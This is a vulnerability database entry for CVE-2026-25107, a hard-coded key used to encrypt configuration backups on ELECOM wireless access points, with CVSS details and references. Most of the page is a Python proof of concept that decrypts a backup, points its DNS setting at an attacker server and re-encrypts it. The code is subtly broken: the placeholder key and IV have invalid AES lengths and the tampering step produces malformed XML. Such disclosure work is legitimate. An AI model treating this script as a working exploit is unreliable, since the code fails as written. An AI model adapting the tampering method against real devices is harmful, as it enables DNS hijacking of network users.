CVE-2026-25107

Description

ELECOM wireless LAN access point devices use a hard-coded cryptographic key when creating backups of configuration files. An attacker who knows the encryption key can tamper the configuration file of the product, and a victim administrator may be tricked to use a crafted configuration file.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

ELECOM wireless LAN access point devices (具体受影响型号请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-25107 Hardcoded Cryptographic Key
# This script demonstrates decrypting, tampering, and re-encrypting a config file.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
import base64

# Placeholder for the hardcoded key extracted from firmware
# In a real scenario, this key is found in the binary
HARDCODED_KEY = b'ELECOM_SECRET_KEY_123' 
IV = b'INIT_VECTOR_16BYT'

def decrypt_config(encrypted_data):
    """Decrypt the configuration file using the hardcoded key."""
    cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV)
    try:
        decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size)
        return decrypted.decode('utf-8')
    except Exception as e:
        return f"Error: {e}"

def encrypt_config(plain_text):
    """Encrypt the tampered configuration file."""
    cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(plain_text.encode('utf-8'), AES.block_size))
    return base64.b64encode(encrypted).decode('utf-8')

def tamper_config(config_content):
    """Inject malicious payload into the configuration."""
    # Example: Changing the admin DNS to a malicious server
    malicious_dns = "<dns_server>192.168.1.100</dns_server>"
    if "<dns_server>" in config_content:
        return config_content.replace("<dns_server>", malicious_dns)
    return config_content + "\n" + malicious_dns

# Main execution flow
if __name__ == "__main__":
    # Simulating reading a stolen encrypted config file
    # encrypted_content = open('config.bin', 'r').read()
    encrypted_content = "(Base64 Encoded String representing the config file)"
    
    print("[+] Decrypting config with hardcoded key...")
    decrypted = decrypt_config(encrypted_content)
    print(decrypted)
    
    print("\n[+] Tampering with configuration...")
    tampered = tamper_config(decrypted)
    print(tampered)
    
    print("\n[+] Re-encrypting malicious config...")
    final_payload = encrypt_config(tampered)
    print(f"Malicious Config: {final_payload}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25107
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25107
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25107/
[4] VulDB https://vuldb.com/cve/CVE-2026-25107
[5] https://jvn.jp/en/jp/JVN03037325/
[6] https://www.elecom.co.jp/news/security/20260512-01/

Raw JSON Data

JSON

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